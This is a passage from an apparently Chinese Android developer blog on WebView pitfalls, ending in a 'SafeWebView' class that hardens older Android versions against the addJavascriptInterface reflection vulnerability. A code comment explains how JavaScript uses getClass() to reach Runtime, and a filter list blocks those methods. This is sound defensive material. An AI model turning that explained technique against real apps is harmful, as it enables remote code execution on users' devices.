這裏的邏輯很簡單,加載一個簡單的富文本標籤,咱們看看運行後的效果:
String html = new String("<h3>我是loadData() 的標題</h3><p>  我是他的內容</p>");
webView.loadData(html, "text/html;charset=UTF-8", "null");複製代碼
咱們再來看看顯示效果:
A) % 會報找不到頁面錯誤,頁面全是亂碼。
B) # 會讓你的 goBack 失效,但 canGoBAck 是可使用的,因而就會產生返回按鈕生效,但不能返回的狀況。
C) \ 和 ? 在轉換時,會報錯,由於它會把 \ 看成轉義符來使用,若是用兩級轉義,也不生效。複製代碼
咱們在使用 loadData() 時,就意味着須要把全部的非法字符所有轉換掉,這樣就會給運行速度帶來很大的影響,由於在使用時,不少狀況下頁面 stytle 中會使用不少 '%' 號,頁面的數據越多,運行的速度就會越慢。
當 WebView 嵌套在 ScrollView 裏面的時候,若是 WebView 先加載了一個高度很高的網頁,而後加載了一個高度很低的網頁,就會形成 WebView 的高度沒法自適應,底部出現大量空白的狀況出現,具體的能夠看看我之前的博客:android ScollView 嵌套 WebView 底部空白,高度沒法自適應解決。
WebView 的內存泄漏是一個比較大的問題,尤爲是當加載的頁面比較龐大的時候,解決方法網上也比較多,可是看狀況大部分都不是能完全根治的,這裏說一下 QQ 和微信的作法,每當打開一個 WebView 界面的時候,會開啓一個新進程,在頁面退出以後經過 System.exit(0) 關閉這個進程,這樣就不會存在內存泄漏的問題了,具體的作法能夠查看這篇博客:Android WebView Memory Leak WebView內存泄漏,裏面也提供了另一種解決辦法,感興趣的能夠去看一下。
當使用 mWebView.getSettings().setBuiltInZoomControls(true) 啓用該設置後,用戶一旦觸摸屏幕,就會出現縮放控制圖標。這個圖標過上幾秒會自動消失,但在 3.0 之上 4.4 系統之下不少手機會出現這種狀況:若是圖標自動消失前退出當前 Activity 的話,就會發生 ZoomButton 找不到依附的 Window 而形成程序崩潰,解決辦法很簡單就是在 Activity 的 onDestory 方法中調用 mWebView.setVisibility(View.GONE); 方法,手動將其隱藏,就不會崩潰了。
若是 WebView 加載的的 html 裏有一些 JS 一直在執行好比動畫之類的東西,若是此刻 WebView 掛在了後臺,這些資源是不會被釋放,用戶也沒法感知,致使一直佔有 CPU 增長耗電量,若是遇到這種狀況,在 onStop 和 onResume 裏分別把 setJavaScriptEnabled() 給設置成 false 和 true 便可。
來看看解決上述問題的 WebView 源碼:
public class SafeWebView extends WebView {
private static final boolean DEBUG = true;
private static final String VAR_ARG_PREFIX = "arg";
private static final String MSG_PROMPT_HEADER = "MyApp:";
/** * 對象名 */
private static final String KEY_INTERFACE_NAME = "obj";
/** * 函數名 */
private static final String KEY_FUNCTION_NAME = "func";
/** * 參數數組 */
private static final String KEY_ARG_ARRAY = "args";
/** * 要過濾的方法數組 */
private static final String[] mFilterMethods = {
"getClass",
"hashCode",
"notify",
"notifyAll",
"equals",
"toString",
"wait",
};
/** * 緩存addJavascriptInterface的註冊對象 */
private HashMap<String, Object> mJsInterfaceMap = new HashMap<>();
/** * 緩存注入到JavaScript Context的js腳本 */
private String mJsStringCache = null;
public SafeWebView(Context context, AttributeSet attrs, int defStyle) {
super(context, attrs, defStyle);
init();
}
public SafeWebView(Context context, AttributeSet attrs) {
super(context, attrs);
init();
}
public SafeWebView(Context context) {
super(context);
init();
}
/** * WebView 初始化,設置監聽,刪除部分Android默認註冊的JS接口 */
private void init() {
setWebChromeClient(new WebChromeClientEx());
setWebViewClient(new WebViewClientEx());
safeSetting();
removeUnSafeJavascriptImpl();
}
/** * 安全性設置 */
private void safeSetting() {
getSettings().setSavePassword(false);
getSettings().setAllowFileAccess(false);//設置爲 false 將不能加載本地 html 文件
if (Build.VERSION.SDK_INT >= 16) {
getSettings().setAllowFileAccessFromFileURLs(false);
getSettings().setAllowUniversalAccessFromFileURLs(false);
}
}
/** * 檢查SDK版本是否 >= 3.0 (API 11) */
private boolean hasHoneycomb() {
return Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB;
}
/** * 檢查SDK版本是否 >= 4.2 (API 17) */
private boolean hasJellyBeanMR1() {
return Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1;
}
/** * 3.0 ~ 4.2 之間的版本須要移除 Google 注入的幾個對象 */
@SuppressLint("NewApi")
private boolean removeUnSafeJavascriptImpl() {
if (hasHoneycomb() && !hasJellyBeanMR1()) {
super.removeJavascriptInterface("searchBoxJavaBridge_");
super.removeJavascriptInterface("accessibility");
super.removeJavascriptInterface("accessibilityTraversal");
return true;
}
return false;
}
@Override
public void setWebViewClient(WebViewClient client) {
if (hasJellyBeanMR1()) {
super.setWebViewClient(client);
} else {
if (client instanceof WebViewClientEx) {
super.setWebViewClient(client);
} else if (client == null) {
super.setWebViewClient(client);
} else {
throw new IllegalArgumentException(
"the \'client\' must be a subclass of the \'WebViewClientEx\'");
}
}
}
@Override
public void setWebChromeClient(WebChromeClient client) {
if (hasJellyBeanMR1()) {
super.setWebChromeClient(client);
} else {
if (client instanceof WebChromeClientEx) {
super.setWebChromeClient(client);
} else if (client == null) {
super.setWebChromeClient(client);
} else {
throw new IllegalArgumentException(
"the \'client\' must be a subclass of the \'WebChromeClientEx\'");
}
}
}
/** * 若是版本大於 4.2,漏洞已經被解決,直接調用基類的 addJavascriptInterface * 若是版本小於 4.2,則使用map緩存待注入對象 */
@SuppressLint("JavascriptInterface")
@Override
public void addJavascriptInterface(Object obj, String interfaceName) {
if (TextUtils.isEmpty(interfaceName)) {
return;
}
// 若是在4.2以上,直接調用基類的方法來註冊
if (hasJellyBeanMR1()) {
super.addJavascriptInterface(obj, interfaceName);
} else {
mJsInterfaceMap.put(interfaceName, obj);
}
}
/** * 刪除待注入對象, * 若是版本爲 4.2 以及 4.2 以上,則使用父類的removeJavascriptInterface。 * 若是版本小於 4.2,則從緩存 map 中刪除注入對象 */
@SuppressLint("NewApi")
public void removeJavascriptInterface(String interfaceName) {
if (hasJellyBeanMR1()) {
super.removeJavascriptInterface(interfaceName);
} else {
mJsInterfaceMap.remove(interfaceName);
//每次 remove 以後,都須要從新構造 JS 注入
mJsStringCache = null;
injectJavascriptInterfaces();
}
}
/** * 若是 WebView 是 SafeWebView 類型,則向 JavaScript Context 注入對象,確保 WebView 是有安全機制的 */
private void injectJavascriptInterfaces(WebView webView) {
if (webView instanceof SafeWebView) {
injectJavascriptInterfaces();
}
}
/** * 注入咱們構造的 JS */
private void injectJavascriptInterfaces() {
if (!TextUtils.isEmpty(mJsStringCache)) {
loadUrl(mJsStringCache);
return;
}
mJsStringCache = genJavascriptInterfacesString();
loadUrl(mJsStringCache);
}
/** * 根據緩存的待注入java對象,生成映射的JavaScript代碼,也就是橋樑(SDK4.2以前經過反射生成) */
private String genJavascriptInterfacesString() {
if (mJsInterfaceMap.size() == 0) {
return null;
}
/* * 要注入的JS的格式,其中XXX爲注入的對象的方法名,例如注入的對象中有一個方法A,那麼這個XXX就是A * 若是這個對象中有多個方法,則會註冊多個window.XXX_js_interface_name塊,咱們是用反射的方法遍歷 * 注入對象中的帶有@JavaScripterInterface標註的方法 * * javascript:(function JsAddJavascriptInterface_(){ * if(typeof(window.XXX_js_interface_name)!='undefined'){ * console.log('window.XXX_js_interface_name is exist!!'); * }else{ * window.XXX_js_interface_name={ * XXX:function(arg0,arg1){ * return prompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]})); * }, * }; * } * })() */
Iterator<Map.Entry<String, Object>> iterator = mJsInterfaceMap.entrySet().iterator();
//HEAD
StringBuilder script = new StringBuilder();
script.append("javascript:(function JsAddJavascriptInterface_(){");
// 遍歷待注入java對象,生成相應的js對象
try {
while (iterator.hasNext()) {
Map.Entry<String, Object> entry = iterator.next();
String interfaceName = entry.getKey();
Object obj = entry.getValue();
// 生成相應的js方法
createJsMethod(interfaceName, obj, script);
}
} catch (Exception e) {
e.printStackTrace();
}
// End
script.append("})()");
return script.toString();
}
/** * 根據待注入的java對象,生成js方法 * * @param interfaceName 對象名 * @param obj 待注入的java對象 * @param script js代碼 */
private void createJsMethod(String interfaceName, Object obj, StringBuilder script) {
if (TextUtils.isEmpty(interfaceName) || (null == obj) || (null == script)) {
return;
}
Class<? extends Object> objClass = obj.getClass();
script.append("if(typeof(window.").append(interfaceName).append(")!='undefined'){");
if (DEBUG) {
script.append(" console.log('window." + interfaceName + "_js_interface_name is exist!!');");
}
script.append("}else {");
script.append(" window.").append(interfaceName).append("={");
// 經過反射機制,添加java對象的方法
Method[] methods = objClass.getMethods();
for (Method method : methods) {
String methodName = method.getName();
// 過濾掉Object類的方法,包括getClass()方法,由於在Js中就是經過getClass()方法來獲得Runtime實例
if (filterMethods(methodName)) {
continue;
}
script.append(" ").append(methodName).append(":function(");
// 添加方法的參數
int argCount = method.getParameterTypes().length;
if (argCount > 0) {
int maxCount = argCount - 1;
for (int i = 0; i < maxCount; ++i) {
script.append(VAR_ARG_PREFIX).append(i).append(",");
}
script.append(VAR_ARG_PREFIX).append(argCount - 1);
}
script.append(") {");
// Add implementation
if (method.getReturnType() != void.class) {
script.append(" return ").append("prompt('").append(MSG_PROMPT_HEADER).append("'+");
} else {
script.append(" prompt('").append(MSG_PROMPT_HEADER).append("'+");
}
// Begin JSON
script.append("JSON.stringify({");
script.append(KEY_INTERFACE_NAME).append(":'").append(interfaceName).append("',");
script.append(KEY_FUNCTION_NAME).append(":'").append(methodName).append("',");
script.append(KEY_ARG_ARRAY).append(":[");
// 添加參數到JSON串中
if (argCount > 0) {
int max = argCount - 1;
for (int i = 0; i < max; i++) {
script.append(VAR_ARG_PREFIX).append(i).append(",");
}
script.append(VAR_ARG_PREFIX).append(max);
}
// End JSON
script.append("]})");
// End prompt
script.append(");");
// End function
script.append(" }, ");
}
// End of obj
script.append(" };");
// End of if or else
script.append("}");
}
/** * 檢查是不是被過濾的方法 */
private boolean filterMethods(String methodName) {
for (String method : mFilterMethods) {
if (method.equals(methodName)) {
return true;
}
}
return false;
}
/** * 利用反射,調用java對象的方法。 * <p> * 從緩存中取出key=interfaceName的java對象,並調用其methodName方法 * * @param result * @param interfaceName 對象名 * @param methodName 方法名 * @param args 參數列表 * @return */
private boolean invokeJSInterfaceMethod(JsPromptResult result, String interfaceName, String methodName, Object[] args) {
boolean succeed = false;
final Object obj = mJsInterfaceMap.get(interfaceName);
if (null == obj) {
result.cancel();
return false;
}
Class<?>[] parameterTypes = null;
int count = 0;
if (args != null) {
count = args.length;
}
if (count > 0) {
parameterTypes = new Class[count];
for (int i = 0; i < count; ++i) {
parameterTypes[i] = getClassFromJsonObject(args[i]);
}
}
try {
Method method = obj.getClass().getMethod(methodName, parameterTypes);
Object returnObj = method.invoke(obj, args); // 執行接口調用
boolean isVoid = returnObj == null || returnObj.getClass() == void.class;
String returnValue = isVoid ? "" : returnObj.toString();
result.confirm(returnValue); // 經過prompt返回調用結果
succeed = true;
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (Exception e) {
e.printStackTrace();
}
result.cancel();
return succeed;
}
/** * 解析出參數類型 * * @param obj * @return */
private Class<?> getClassFromJsonObject(Object obj) {
Class<?> cls = obj.getClass();
// js對象只支持int boolean string三種類型
if (cls == Integer.class) {
cls = Integer.TYPE;
} else if (cls == Boolean.class) {
cls = Boolean.TYPE;
} else {
cls = String.class;
}
return cls;
}
/** * 解析JavaScript調用prompt的參數message,提取出對象名、方法名,以及參數列表,再利用反射,調用java對象的方法。 * * @param view * @param url * @param message MyApp:{"obj":"jsInterface","func":"onButtonClick","args":["從JS中傳遞過來的文本!!!"]} * @param defaultValue * @param result * @return */
private boolean handleJsInterface(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
String prefix = MSG_PROMPT_HEADER;
if (!message.startsWith(prefix)) {
return false;
}
String jsonStr = message.substring(prefix.length());
try {
JSONObject jsonObj = new JSONObject(jsonStr);
// 對象名稱
String interfaceName = jsonObj.getString(KEY_INTERFACE_NAME);
// 方法名稱
String methodName = jsonObj.getString(KEY_FUNCTION_NAME);
// 參數數組
JSONArray argsArray = jsonObj.getJSONArray(KEY_ARG_ARRAY);
Object[] args = null;
if (null != argsArray) {
int count = argsArray.length();
if (count > 0) {
args = new Object[count];
for (int i = 0; i < count; ++i) {
Object arg = argsArray.get(i);
if (!arg.toString().equals("null")) {
args[i] = arg;
} else {
args[i] = null;
}
}
}
}
if (invokeJSInterfaceMethod(result, interfaceName, methodName, args)) {
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
result.cancel();
return false;
}
private class WebChromeClientEx extends WebChromeClient {
@Override
public final void onProgressChanged(WebView view, int newProgress) {
injectJavascriptInterfaces(view);
super.onProgressChanged(view, newProgress);
}
@Override
public final boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
if (view instanceof SafeWebView) {
if (handleJsInterface(view, url, message, defaultValue, result)) {
return true;
}
}
return super.onJsPrompt(view, url, message, defaultValue, result);
}
@Override
public final void onReceivedTitle(WebView view, String title) {
injectJavascriptInterfaces(view);
}
}
private class WebViewClientEx extends WebViewClient {
@Override
public void onLoadResource(WebView view, String url) {
injectJavascriptInterfaces(view);
super.onLoadResource(view, url);
}
@Override
public void doUpdateVisitedHistory(WebView view, String url, boolean isReload) {
injectJavascriptInterfaces(view);
super.doUpdateVisitedHistory(view, url, isReload);
}
@Override
public void onPageStarted(WebView view, String url, Bitmap favicon) {
injectJavascriptInterfaces(view);
super.onPageStarted(view, url, favicon);
}
@Override
public void onPageFinished(WebView view, String url) {
injectJavascriptInterfaces(view);
super.onPageFinished(view, url);
}
}
}複製代碼
這段代碼基本是按照上面所描述的狀況來寫的,修復了上面提到的幾個漏洞,這裏再描述一下幾個須要注意的點:
group.jobbole.com/26417/?utm_…
blog.csdn.net/jiangwei091…
blog.csdn.net/leehong2005…
github.com/yushiwo/Web…
blog.csdn.net/sk719887916…
zhuanlan.zhihu.com/p/24202408
github.com/lzyzsd/JsBr…
www.jianshu.com/p/93cea79a2…
www.codexiu.cn/android/blo…
github.com/pedant/safe…
blog.sina.com.cn/s/blog_777f…
www.cnblogs.com/chaoyuehedy…
blogs.360.cn/360mobile/2…
my.oschina.net/zhibuji/blo…
www.cnblogs.com/punkisnotde…